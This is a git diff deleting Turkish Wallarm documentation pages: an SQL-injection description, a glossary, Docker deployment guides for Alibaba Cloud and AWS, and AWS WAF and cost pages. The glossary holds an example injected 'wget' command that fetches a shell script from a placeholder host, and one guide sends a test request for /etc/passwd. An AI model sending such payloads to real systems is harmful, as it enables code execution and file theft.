              -**Wallarm kodu:** `sqli` - -#### Açıklama - -Bu saldırıya karşı savunmasızlık, kullanıcı girdisinin yetersiz süzülmesi nedeniyle ortaya çıkar. [Bir SQL enjeksiyonu saldırısı](https://www.wallarm.com/what/structured-query-language-injection-sqli-part-1), bir SQL veritabanına özel olarak hazırlanmış bir sorgunun enjekte edilmesiyle gerçekleştirilir. - -Bir SQL enjeksiyonu saldırısı, bir saldırganın bir SQL sorgusuna keyfi SQL kodu enjekte etmesine olanak tanır. Bu da potansiyel olarak saldırgana, gizli verileri okuma ve değiştirme ile birlikte VTYS (DBMS) üzerinde yönetici hakları elde etme imkânı verir. - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* Girdi içerisindeki varlıkların yürütülmesini engellemek için bir web uygulamasının aldığı tüm giriş parametrelerini temizleyin ve filtreleyin. -* [OWASP SQL Injection Prevention Cheat Sheet][link-owasp-sqli-cheatsheet] içindeki önerileri uygulayın. \ No newline at end of file diff --git a/docs/latest-tr/glossary-en.md b/docs/latest-tr/glossary-en.md deleted file mode 100644 index c7088ffcb4..0000000000 --- a/docs/latest-tr/glossary-en.md +++ /dev/null @@ -1,99 +0,0 @@ -# Sözlük - -Sözlük, platformu daha iyi anlamanıza yardımcı olmak için temel Wallarm varlıklarını kapsar. - -## Hit - -Hit, seri hale getirilmiş kötü amaçlı bir istektir (orijinal kötü amaçlı istek ve filtreleme düğümü tarafından eklenen meta veriler), örneğin: - -![Hit örneği](images/user-guides/events/analyze-attack-raw.png) - -[Hit parametrelerinin ayrıntıları](user-guides/events/check-attack.md#attack-analysis_1) - -## Saldırı {#attack} - -Bir saldırı, [gruplandırılmış](user-guides/events/grouping-sampling.md#grouping-of-hits) tek bir hit veya birden fazla hit'tir. - -Tek bir hit içeren bir saldırı örneği: - -![Tek hit içeren saldırı](images/glossary/attack-with-one-hit-example.png) - -Birden çok hit içeren bir saldırı örneği: - -![Birkaç hit içeren saldırı](images/glossary/attack-with-several-hits-example.png) - -Saldırıların nasıl anlaşılacağı ve analiz edileceğine dair [ayrıntılara bakın](user-guides/events/check-attack.md). - -## Kötü Amaçlı Yük (Payload) - -Orijinal isteğin aşağıdaki unsurları içeren bir bölümüdür: - -* Bir istekte tespit edilen saldırı göstergeleri. Aynı saldırı türünü karakterize eden birden fazla saldırı göstergesi bir istekte tespit edilirse, yüke yalnızca ilk gösterge kaydedilir. -* Saldırı göstergesinin bağlamı. Bağlam, tespit edilen saldırı göstergelerinin öncesinde ve sonrasında yer alan semboller kümesidir. Yük uzunluğu sınırlı olduğundan, saldırı göstergesi tam yük uzunluğundaysa bağlam atlanabilir. - -Örneğin: - -* İstek: - - ```bash - curl localhost/?23036d6ba7=%3Bwget+http%3A%2F%2Fsome_host%2Fsh311.sh - ``` -* Kötü amaçlı yük: - - ```bash - ;wget+http://s - ``` - - Bu yükte, `;wget+` bir [RCE](attacks-vulns-list.md#remote-code-execution-rce) saldırı göstergesidir ve yükün diğer kısmı saldırı göstergesinin bağlamıdır. - -Saldırı göstergeleri [davranışsal saldırıları](attacks-vulns-list.md#attack-types) tespit etmek için kullanılmadığından, davranışsal saldırıların bir parçası olarak gönderilen isteklerin yükleri boştur. - -## Zafiyet - -Bir API oluşturulurken veya uygulanırken ihmal ya da yetersiz bilgi nedeniyle yapılan ve bilgi güvenliği riski doğurabilen bir hatadır. - -Bilgi güvenliği riskleri şunlardır: - -* Yetkisiz veri erişimi; örneğin, kullanıcı verilerini okuma ve değiştirme erişimi. -* Hizmet reddi. -* Veri bozulması ve diğerleri. - -Zafiyetleri tespit etmek için İnternet trafiği kullanılabilir; Wallarm diğer işlevlerinin yanı sıra bunu yapar. - -## Güvenlik Olayı - -Güvenlik olayı, bir zafiyetin istismar edilmesinin gerçekleşmesidir. Bir olay, doğrulanmış bir zafiyeti hedef alan bir [saldırı](#attack)dır. - -Bir olay, tıpkı bir saldırı gibi, sisteminizin dışındaki bir varlıktır ve sistemin değil, dış İnternet'in bir özelliğidir. Mevcut zafiyetleri hedefleyen saldırılar azınlıkta olsa da, bilgi güvenliği açısından son derece önemlidir. Wallarm, mevcut zafiyetleri hedefleyen saldırıları otomatik olarak tespit eder ve bunları ayrı bir nesne – güvenlik olayı – olarak gösterir. - -Ayrıca bkz.: [Olay Analizi](user-guides/events/check-incident.md) - -## Dairesel Arabellek -Dairesel arabellek, tek bir, sabit boyutlu arabelleği sanki uç uca bağlanmış gibi kullanan bir veri yapısıdır. -[Bkz. Vikipedi](https://en.wikipedia.org/wiki/Circular_buffer). - -## Özel kural seti (önceki terim LOM) - -Özel kural seti, Wallarm düğümleri tarafından Wallarm Cloud'dan indirilen derlenmiş güvenlik kuralları kümesidir. - -Özel kurallar, trafik işleme için bireysel kurallar ayarlamanızı sağlar, örneğin: - -* Wallarm Cloud'a yüklemeden önce hassas verileri maskele -* regexp tabanlı saldırı göstergeleri oluştur -* Etkin bir zafiyeti istismar eden istekleri engelleyen sanal yamayı uygula -* Belirli isteklerde saldırı tespitini devre dışı bırak, vb. - -Özel kural seti varsayılan olarak boş değildir; örneğin [**Settings → General** tab] içindeki değerle filtreleme modu kuralı gibi, Bulutta kayıtlı tüm müşteriler için oluşturulan kuralları içerir (admin-en/configure-wallarm-mode.md#general-filtration-mode). - -[Özel kural setleri hakkında daha fazla bilgi](user-guides/rules/rules.md) - -## Geçersiz İstek -Filtre düğümü tarafından kontrol edilmiş ve LOM kurallarıyla eşleşmeyen bir istek. - -## Ters Proxy -Ters proxy, bir istemci adına bir sunucudan kaynakları alan ve bu kaynakları sanki Web sunucusunun kendisinden geliyormuş gibi istemciye iade eden bir proxy sunucu türüdür. -[Bkz. Vikipedi](https://en.wikipedia.org/wiki/Reverse_proxy). - -## Sertifika Otoritesi -Sertifika otoritesi, dijital sertifikalar veren bir kuruluştur. -[Bkz. Vikipedi](https://en.wikipedia.org/wiki/Certificate_authority). \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/alibaba-cloud/docker-container.md b/docs/latest-tr/installation/cloud-platforms/alibaba-cloud/docker-container.md deleted file mode 100644 index 6d21f811a3..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/alibaba-cloud/docker-container.md +++ /dev/null @@ -1,150 +0,0 @@ -# Wallarm Docker İmajının Alibaba Cloud’a Dağıtımı - -Bu hızlı kılavuz, [NGINX tabanlı Wallarm düğümünün Docker imajını](https://hub.docker.com/r/wallarm/node) [Alibaba Cloud Elastic Compute Service (ECS)](https://www.alibabacloud.com/product/ecs) platformuna dağıtma adımlarını sağlar. - -!!! warning "Talimatların sınırlamaları" - Bu talimatlar, yük dengeleme ve düğüm otomatik ölçeklendirme yapılandırmasını kapsamaz. Bu bileşenleri kendiniz kuracaksanız, ilgili [Alibaba Cloud dokümantasyonunu](https://www.alibabacloud.com/help/product/27537.htm?spm=a2c63.m28257.a1.82.dfbf5922VNtjka) okumanızı öneririz. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md" - -## Gereksinimler - -* [Alibaba Cloud Console](https://account.alibabacloud.com/login/login.htm) erişimi -* Wallarm Console’da [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için **Administrator** rolüne sahip hesaba erişim -* Saldırı tespit kuralları ve [API spesifikasyonları][api-policy-enf-docs] güncellemelerini indirmek, ayrıca [allowlist’e, denylist’e veya graylist’e alınmış][graylist-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" - -## Wallarm düğümü Docker konteyneri yapılandırma seçenekleri - ---8<-- "../include/waf/installation/docker-running-options.md" - -## Ortam değişkenleri ile yapılandırılmış Wallarm düğümü Docker konteynerini dağıtma - -Yalnızca ortam değişkenleri ile yapılandırılmış konteynerleştirilmiş Wallarm filtreleme düğümünü dağıtmak için Alibaba Cloud örneğini oluşturmanız ve bu örnekte Docker konteynerini çalıştırmanız gerekir. Bu adımları Alibaba Cloud Console veya [Alibaba Cloud CLI](https://www.alibabacloud.com/help/doc-detail/25499.htm) üzerinden gerçekleştirebilirsiniz. Bu talimatta Alibaba Cloud Console kullanılmıştır. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. Alibaba Cloud Console’u açın → servis listesi → **Elastic Compute Service** → **Instances**. -1. Örneği [Alibaba Cloud talimatlarını](https://www.alibabacloud.com/help/doc-detail/87190.htm?spm=a2c63.p38356.b99.137.77df24df7fJ2XX) ve aşağıdaki yönergeleri izleyerek oluşturun: - - * Örnek, herhangi bir işletim sistemi imajına dayanabilir. - * Örnek harici kaynaklar tarafından erişilebilir olacağından, örnek ayarlarında public IP address veya alan adı yapılandırılmalıdır. - * Örnek ayarları, [örneğe bağlanmak için kullanılan yöntemi](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l) yansıtmalıdır. -1. [Alibaba Cloud dokümantasyonunda](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l) açıklanan yöntemlerden biriyle örneğe bağlanın. -1. Örnek üzerinde uygun işletim sistemi için [talimatları](https://docs.docker.com/engine/install/#server) izleyerek Docker paketlerini kurun. -1. Örneği Wallarm Cloud’a bağlamak için kullanılacak kopyalanmış Wallarm jetonuyla örnek ortam değişkenini ayarlayın: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Geçilen ortam değişkenleri ve bağlanmış yapılandırma dosyası ile `docker run` komutunu kullanarak Wallarm düğümü Docker konteynerini çalıştırın: - - === "Wallarm US Cloud için komut" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e NGINX_BACKEND= -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/node:6.5.1 - ``` - === "Wallarm EU Cloud için komut" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e NGINX_BACKEND= -p 80:80 wallarm/node:6.5.1 - ``` - - * `-p`: filtreleme düğümünün dinlediği bağlantı noktası. Değer, örneğin bağlantı noktasıyla aynı olmalıdır. - * `-e`: filtreleme düğümü yapılandırmasına ait ortam değişkenleri (kullanılabilir değişkenler aşağıdaki tabloda listelenmiştir). Lütfen `WALLARM_API_TOKEN` değerinin açıkça iletilmesi önerilmez. - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" -1. [Filtreleme düğümünün çalışmasını test edin](#testing-the-filtering-node-operation). - -## Bağlanmış dosya ile yapılandırılmış Wallarm düğümü Docker konteynerini dağıtma - -Ortam değişkenleri ve bağlanmış dosya ile yapılandırılmış konteynerleştirilmiş Wallarm filtreleme düğümünü dağıtmak için Alibaba Cloud örneğini oluşturmanız, filtreleme düğümü yapılandırma dosyasını bu örneğin dosya sistemine yerleştirmeniz ve Docker konteynerini bu örnek üzerinde çalıştırmanız gerekir. Bu adımları Alibaba Cloud Console veya [Alibaba Cloud CLI](https://www.alibabacloud.com/help/doc-detail/25499.htm) üzerinden gerçekleştirebilirsiniz. Bu talimatta Alibaba Cloud Console kullanılmıştır. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. Alibaba Cloud Console’u açın → servis listesi → **Elastic Compute Service** → **Instances**. -1. Örneği [Alibaba Cloud talimatlarını](https://www.alibabacloud.com/help/doc-detail/87190.htm?spm=a2c63.p38356.b99.137.77df24df7fJ2XX) ve aşağıdaki yönergeleri izleyerek oluşturun: - - * Örnek, herhangi bir işletim sistemi imajına dayanabilir. - * Örnek harici kaynaklar tarafından erişilebilir olacağından, örnek ayarlarında public IP address veya alan adı yapılandırılmalıdır. - * Örnek ayarları, [örneğe bağlanmak için kullanılan yöntemi](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l) yansıtmalıdır. -1. [Alibaba Cloud dokümantasyonunda](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l) açıklanan yöntemlerden biriyle örneğe bağlanın. -1. Örnek üzerinde uygun işletim sistemi için [talimatları](https://docs.docker.com/engine/install/#server) izleyerek Docker paketlerini kurun. -1. Örneği Wallarm Cloud’a bağlamak için kullanılacak kopyalanmış Wallarm jetonuyla örnek ortam değişkenini ayarlayın: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Örnek içinde, filtreleme düğümü yapılandırmasını içeren `default` dosyasına sahip bir dizin oluşturun (örneğin dizin adı `configs` olabilir). Asgari ayarlara sahip dosya örneği: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [Yapılandırma dosyasında belirtilebilecek filtreleme düğümü direktifleri seti →][nginx-waf-directives] -1. Geçilen ortam değişkenleri ve bağlanmış yapılandırma dosyası ile `docker run` komutunu kullanarak Wallarm düğümü Docker konteynerini çalıştırın: - - === "Wallarm US Cloud için komut" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v : -p 80:80 wallarm/node:6.5.1 - ``` - === "Wallarm EU Cloud için komut" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -v : -p 80:80 wallarm/node:6.5.1 - ``` - - * ``: önceki adımda oluşturulan yapılandırma dosyasının yolu. Örneğin, `configs`. - * ``: yapılandırma dosyasının bağlanacağı konteyner dizini. Yapılandırma dosyaları NGINX tarafından kullanılan aşağıdaki konteyner dizinlerine bağlanabilir: - - * `/etc/nginx/conf.d` — genel ayarlar - * `/etc/nginx/http.d` — sanal host ayarları - * `/var/www/html` — statik dosyalar - - Filtreleme düğümü direktifleri `/etc/nginx/http.d/default.conf` dosyasında tanımlanmalıdır. - - * `-p`: filtreleme düğümünün dinlediği bağlantı noktası. Değer, örneğin bağlantı noktasıyla aynı olmalıdır. - * `-e`: filtreleme düğümü yapılandırmasına ait ortam değişkenleri (kullanılabilir değişkenler aşağıdaki tabloda listelenmiştir). Lütfen `WALLARM_API_TOKEN` değerinin açıkça iletilmesi önerilmez. - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [Filtreleme düğümünün çalışmasını test edin](#testing-the-filtering-node-operation). - -## Filtreleme düğümünün çalışmasını test etme - -1. Alibaba Cloud Console’u açın → servis listesi → **Elastic Compute Service** → **Instances** ve **IP address** sütunundan örneğin public IP address değerini kopyalayın. - - ![Kapsayıcı örneğini ayarlama][copy-container-ip-alibaba-img] - - IP address boş ise, lütfen örneğin **Running** durumda olduğundan emin olun. - -2. Kopyalanan adrese test [Path Traversal][ptrav-attack-docs] saldırısı isteğini gönderin: - - ``` - curl http:///etc/passwd - ``` -3. Wallarm Console’u açın → **Attacks** bölümüne gidin; [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içinde saldırının listede göründüğünden emin olun. - ![UI'de Attacks][attacks-in-ui-image] -1. İsteğe bağlı olarak, düğümün çalışmasının diğer yönlerini [test edin][link-docs-check-operation]. - -Konteyner dağıtımı sırasında oluşan hatalara ilişkin ayrıntıları görüntülemek için lütfen [yöntemlerden biriyle örneğe bağlanın](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l) ve [konteyner günlüklerini][logging-docs] inceleyin. Örnek erişilemiyorsa, gerekli filtreleme düğümü parametrelerinin doğru değerlerle konteynere iletildiğinden emin olun. \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/aws/aws-waf-integration.md b/docs/latest-tr/installation/cloud-platforms/aws/aws-waf-integration.md deleted file mode 100644 index 3644039f0c..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/aws/aws-waf-integration.md +++ /dev/null @@ -1,74 +0,0 @@ -# AWS Ortamlarında AWS WAF ve Wallarm'ın Entegrasyonu - -Modern bulut mimarilerinde hem çevreyi hem de uygulamanın çekirdeğini korumak için katmanlı bir güvenlik yaklaşımı esastır. AWS ortamlarında, AWS WAF yük dengeleyiciler ve API ağ geçitleri gibi giriş noktalarını savunurken, Wallarm yığının daha derinlerindeki API'leri ve mikroservisleri korur. - -Bir derinlemesine savunma stratejisinde birleştirildiğinde, uçtan uygulama katmanına kadar web uygulamaları ve API'ler için kapsamlı koruma sağlarlar. - -![!](../../../images/waf-installation/aws/aws-waf-wallarm-responsibilities.png) - -## AWS WAF: AWS altyapısı için çevre koruması - -[AWS WAF](https://docs.aws.amazon.com/waf/latest/developerguide/waf-chapter.html), uygulamalara ulaşmadan önce HTTP(S) trafiğini gerçek zamanlı olarak filtreleyerek ağ sınırında ilk savunma hattı görevi görür. Web ACL'leri kullanarak SQL enjeksiyonu ve XSS gibi yaygın tehditleri engeller ve bir isteğin çeşitli kısımlarını — başlıklar, URI, gövde ve daha fazlasını — inceleyebilir. - -Tam yönetilen bir hizmet olarak AWS WAF, otomatik ölçeklenir ve DDoS koruması için AWS Shield ile, hesaplar genelinde merkezi kural uygulaması için Firewall Manager ile entegre olur. - -AWS WAF, bilinen tehditleri ve kötü amaçlı kalıpları ölçekli bir şekilde engelleyen bir çevre savunması oluşturur ve genel bulut altyapısını kalkanlar. Ancak, daha karmaşık, uygulama katmanı veya API'ye özgü saldırıları belirlemek çoğu zaman daha derin bir inceleme gerektirir — Wallarm'ın üstesinden gelmek üzere tasarlandığı alan. - -## Wallarm: mikroservisler için API odaklı uygulama güvenliği - -Wallarm, özellikle API'ler ve mikroservis tabanlı mimariler gibi modern uygulamaları güvence altına almak için tasarlanmış bir Gelişmiş API Güvenliği platformudur. AWS WAF çevreye odaklanırken, Wallarm uygulamaya daha yakın çalışır ve API'leriniz, mikroservisleriniz ve uygulama mantığınız hakkında bağlamla trafiği analiz eder. - -Wallarm, geleneksel kalıp tabanlı WAF'ların kaçırabileceği karmaşık saldırıları yakalamak için derin istek incelemesi, uyarlanabilir filtreleme ve yapay zeka destekli tehdit tespiti kullanır. - -Wallarm, özellikle JSON API isteğinde bir mantık hatasının istismarı veya bir parametre kurcalama saldırısı gibi API'ye özgü tehditleri ve normal API davranışından sapan olağan dışı kullanım kalıplarını yakalayan anomali tespitinde başarılıdır. - -## Dağıtım topolojisi - -### Bulut‑yerel yığında dağıtım - -Wallarm, bulut ve konteynerize ortamlarda sorunsuz dağıtım için tasarlanmıştır. Kapsüllenmiş bir servis, inline proxy olarak veya NGINX ya da Kong gibi proxy'lerle entegre bir modül olarak çalışabilir. - -AWS'de Wallarm; EKS, ECS (Fargate dâhil) üzerinde ya da AMI aracılığıyla EC2 üzerinde dağıtımı destekleyerek çeşitli mimariler için esneklik sunar. Modern API protokollerini — REST, GraphQL, gRPC, WebSocket — destekler ve bu katmanlar boyunca trafiği korur. - -Wallarm düğümleri, hizmetleriniz büyüdükçe güvenlik katmanının da onlarla birlikte ölçeklenmesini sağlayarak AWS Auto Scaling veya Kubernetes otomatik ölçekleyicilerini kullanarak otomatik olarak ölçeklenir. - -[AWS için tüm Wallarm dağıtım seçenekleri](../../../installation/supported-deployment-options.md#public-clouds) - -### API ve mikroservis koruma yetenekleri - -Wallarm, API trafiğini derinlemesine anlama konusunda öne çıkar. Karmaşık JSON/XML yüklerini ayrıştırabilir, iç içe parametreleri işleyebilir ve suistimali önlemek için API şemalarını zorlayabilir. Geleneksel WAF'ların sıklıkla kaçırdığı mantık tabanlı API saldırılarının (ör. BOLA, toplu atama (mass assignment)) aksine, Wallarm iş mantığı suistimalini, zehirlenmiş sorguları ve çok adımlı saldırı zincirlerini tespit eder. - -Ayrıca yanlış pozitifleri azaltmak için potansiyel güvenlik açıklarını güvenli biçimde test etmeyi sağlayan tehdit yeniden oynatma testini destekler. - -API kullanımı, saldırı kalıpları ve gölge API'lere ilişkin ayrıntılı içgörülerle Wallarm, AWS WAF'in uç düzey filtrelemesini tamamlayarak uygulama katmanında görünürlük ve koruma ekler. Birlikte, hem bilinen hem de gelişmekte olan tehditleri engelleyen katmanlı bir savunma oluştururlar. - -[Wallarm yetenekleri hakkında daha fazla bilgi](../../../about-wallarm/overview.md) - -### Tamamlayıcı katmanlı güvenlik yaklaşımı - -AWS WAF ve Wallarm'ı birleştirmek, her katmanın farklı tehditleri hedeflediği gerçek bir derinlemesine savunma modeli sağlar: - -* AWS WAF, bilinen enjeksiyon kalıpları, botlar ve tarayıcılar gibi geniş kapsamlı, çevre düzeyindeki saldırıları filtreleyerek, trafik uygulamaya ulaşmadan önce gürültüyü ve trafik yükünü azaltır. -* Wallarm ise kalan trafiği API farkındalığı ve uyarlanabilir tespit ile inceler; çevre filtrelerinin gözden kaçırabileceği iş mantığı suistimali veya sıfır‑gün API saldırıları gibi daha ince tehditleri yakalar. - -Bu katmanlı kurulum, her aracın en iyi yaptığı şeyi yapmasına olanak tanır: AWS WAF genel güvenlik kurallarını (IP bloklamaları, coğrafi kısıtlamalar, oran sınırları) uygularken, Wallarm derin trafik analizi ve davranışsal bağlamla uygulama içini korur. Sonuç, geliştirilmiş tespit, daha az yanlış pozitif ve daha az manuel kural ayarıdır. - -Temel filtrelemeyi AWS WAF'e bırakarak ve Wallarm'ın karmaşık, uygulamaya özgü tehditlere odaklanmasını sağlayarak ekipler daha ölçeklenebilir, daha doğru ve daha dayanıklı bir güvenlik mimarisinden yararlanır. Bu yaklaşım, bulut‑yerel en iyi uygulamalarla uyumludur ve modern uygulamaların hem giriş noktalarını hem de iç işleyişini korumaya yardımcı olur. - -### Yüksek seviyeli entegrasyon mimarisi - -Birleşik AWS WAF + Wallarm mimarisi aşağıdaki katmanlı mimari olarak görselleştirilebilir: - -1. Çevre Katmanı - AWS giriş noktalarında AWS WAF - - İnternet trafiği önce CloudFront, API Gateway veya ALB gibi servislere ulaşır; burada AWS WAF, Web ACL kurallarını uygulayarak istekler uygulamaya ulaşmadan önce SQLi, XSS ve botlar gibi bilinen tehditleri engeller. Ayrıca gürültüyü daha da azaltmak için IP, coğrafi ya da hız temelli politikalar uygulayabilir. -1. Uygulama Katmanı - Wallarm Filtreleme Düğümleri - - Temiz trafik daha sonra ECS, EKS veya EC2 üzerinde çalışan Wallarm düğümlerine akar. Akıllı bir proxy veya ingress denetleyicisi olarak hareket eden Wallarm, derin API incelemesi gerçekleştirir; mantık kusurlarını, çok adımlı saldırıları ve anormal kalıpları tespit eder. Yalnızca doğrulanmış trafik uygulama servislerine iletilir. -1. İç Katman - Mikroservisler ve Veri Depoları - - Doğrulanmış istekler, her iki katman tarafından zaten filtrelenmiş olarak — API'ler, mikroservisler, veritabanları — çekirdek bileşenlere ulaşır. Wallarm, veri sızıntısını önlemek gibi amaçlarla, giden yanıtları da inceleyebilir. mTLS veya IAM gibi servisler arası ek korumalar bu katmanı daha da güçlendirebilir. - -![!](../../../images/waf-installation/aws/aws-waf-wallarm-deployment.png) - -Yaygın bir model: ALB + AWS WAF → Wallarm → Uygulama. Wallarm, altyapıda büyük değişiklikler gerektirmeden esnek dağıtımları destekler — ALB'nin arkasında inline, EKS'te bir ingress olarak veya API Gateway ya da CloudFront origin'lerinin arkasında. Standart AWS ağ yapısıyla uyumluluğu, hem genel hem de dahili trafik yollarını korumasına olanak tanır. \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/aws/costs.md b/docs/latest-tr/installation/cloud-platforms/aws/costs.md deleted file mode 100644 index 2548df9321..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/aws/costs.md +++ /dev/null @@ -1,50 +0,0 @@ -# AWS'de NGINX Node Dağıtımı için Maliyet Rehberi - -Bu sayfa, AMI tabanlı EC2 instance'ları ve ECS tabanlı Docker container'ları gibi farklı yöntemlerle Wallarm NGINX Node'larının dağıtımıyla ilişkili tipik AWS altyapı maliyetlerini özetler. - -Bunlar yalnızca AWS’e özgü maliyetlerdir ve [Wallarm abonelik ücretlerini](../../../about-wallarm/subscription-plans/) içermez. - -## AMI tabanlı dağıtım (EC2 instance) - -[NGINX Node AMI](ami.md) VPC’nizde bir EC2 instance olarak başlatılır. Yüksek erişilebilirlik için bir Application Load Balancer (ALB) arkasına birden fazla EC2 instance yerleştirebilirsiniz. Depolama için Amazon EBS ve standart AWS ağ bileşenlerini (VPC, subnets, security groups) da kullanırsınız. - -Başlıca maliyet bileşenleri: - -* EC2 instance saatleri: Maliyet, instance türüne, bölgeye ve çalışma süresine bağlıdır. Örneğin, `us-east` bölgesindeki bir `t3.medium` yaklaşık $0.0416/saat (~7/24 çalışırsa ~$/ay? düzeltme: ~$30/ay). Yedeklilik için birden fazla Node kullanıyorsanız instance sayısıyla çarpın. -* EBS depolama: 50 GB genel amaçlı SSD için tipik olarak ~$5/ay ekler. -* Elastic veya Application Load Balancer: Temel maliyet ~$16/ay olup trafiğe dayalı kullanım ücretleri (LCU’lar) eklenir; tipik toplam ~$22/ay olur. [ALB maliyetleri](https://aws.amazon.com/elasticloadbalancing/pricing/) daha yüksek trafikle artar. -* Veri transferi: EC2’den İnternet’e aylık ilk 100 GB giden trafik ücretsizdir; ek kullanım ~$0.09/GB olarak faturalandırılır. AZ’ler arası trafik (ör. bir başka AZ’deki EC2’ya ALB →) de bu oranda ücretlendirilir. Aynı AZ içindeki trafik ücretsizdir. - -Bölge ve trafik temelinde kesin tahminler için [AWS Pricing Calculator](https://calculator.aws/) kullanın. - -**Örnek tahmin:** - -`us-east-1` bölgesinde, 7/24 çalışan bir `t3.medium` EC2 instance’ı, arkasında bir ALB ile, ayda ~10 milyon istek ve 200 GB dışa giden trafik: - -* EC2 instance: ~$30/ay -* EBS depolama: ~$5/ay (50 GB SSD) -* ALB: ~$22/ay (temel + LCU kullanımı) -* Veri transferi: ~$9/ay (ilk 100 GB ücretsiz) -* Tahmini toplam: ~$60–70/ay ve ayrıca [Wallarm abonelik ücretleri](../../../about-wallarm/subscription-plans/) - -## Amazon ECS (Docker container) dağıtımı - -[Wallarm’ı (NGINX Node) AWS’de Amazon ECS kullanarak dağıtabilirsiniz](docker-container.md); bunu EC2 instance’ları üzerinde veya AWS Fargate ile yapabilirsiniz. - -* EC2 üzerinde ECS: EC2 instance’larını siz yönetirsiniz, container orkestrasyonunu ECS üstlenir. Maliyetler [AMI tabanlı dağıtıma](#ami-based-deployment-ec2-instance) benzer — EC2, EBS, isteğe bağlı ALB ve veri transferi. -* Fargate üzerinde ECS: Tamamen yönetilen model. Ayrılan vCPU ve RAM için saniye bazında ödeme yaparsınız. EC2 instance yönetimi gerekmez. - -AWS, ECS’nin kendisi için ücret almaz — yalnızca container’larınızın çalıştığı kaynaklar için ücret alınır. - -Bölge ve trafik temelinde kesin tahminler için [AWS Pricing Calculator](https://calculator.aws/) kullanın. - -**Örnek tahmin:** - -`us-west-2` bölgesinde, 2 görev (her biri 1 vCPU ve 2 GB RAM), ayda ~10–15 milyon istek ve ~200 GB dışa giden trafik: - -* Fargate işlem: ~$72/ay (2 görev × ~$36) -* ALB: ~$20/ay (temel + orta düzey trafik) -* Veri transferi: ~$9/ay (ilk 100 GB ücretsiz, sonraki 100 GB $0.09/GB) -* Tahmini toplam: ~$101/ay ve ayrıca [Wallarm abonelik ücretleri](../../../about-wallarm/subscription-plans/) - -Wallarm imajlarını depolamak için Amazon ECR de kullanabilirsiniz (genellikle ihmal edilebilir maliyet). \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/aws/docker-container.md b/docs/latest-tr/installation/cloud-platforms/aws/docker-container.md deleted file mode 100644 index 076676a8a9..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/aws/docker-container.md +++ /dev/null @@ -1,418 +0,0 @@ -# Wallarm Docker İmajının AWS'ye Dağıtımı - -Bu hızlı kılavuz, [NGINX tabanlı Wallarm düğümünün Docker imajını](https://hub.docker.com/r/wallarm/node), [Amazon Elastic Container Service (Amazon ECS)](https://aws.amazon.com/getting-started/hands-on/deploy-docker-containers/) kullanarak Amazon bulut platformuna dağıtma adımlarını sağlar. - -!!! warning "Talimatların sınırlamaları" - Bu talimatlar, yük dengeleme ve düğüm otomatik ölçeklendirme yapılandırmasını kapsamaz. Bu bileşenleri kendiniz kuracaksanız, [AWS talimatlarının](https://aws.amazon.com/getting-started/hands-on/deploy-docker-containers/) ilgili bölümünü incelemenizi öneririz. - -!!! info "Güvenlik notu" - Bu çözüm, AWS güvenlik en iyi uygulamalarını takip edecek şekilde tasarlanmıştır. Dağıtım için AWS kök hesabını kullanmaktan kaçınmanızı öneririz. Bunun yerine, sadece gerekli izinlere sahip IAM kullanıcılarını veya rolleri kullanın. - - Dağıtım süreci, Wallarm bileşenlerini sağlamak ve işletmek için yalnızca asgari erişimin verildiği en az ayrıcalık ilkesini varsayar. - -Bu dağıtım için AWS altyapı maliyetlerini tahmin etmeye yönelik rehberlik için [AWS'de Wallarm Dağıtımı İçin Maliyet Rehberi][aws-costs] sayfasına bakın. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/aws-ecs-use-cases.md" - -## Gereksinimler - -* **admin** izinlerine sahip AWS hesabı ve kullanıcısı -* AWS CLI 1 veya AWS CLI 2'nin doğru şekilde [kurulmuş](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-install.html) ve [yapılandırılmış](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html) olması -* [US 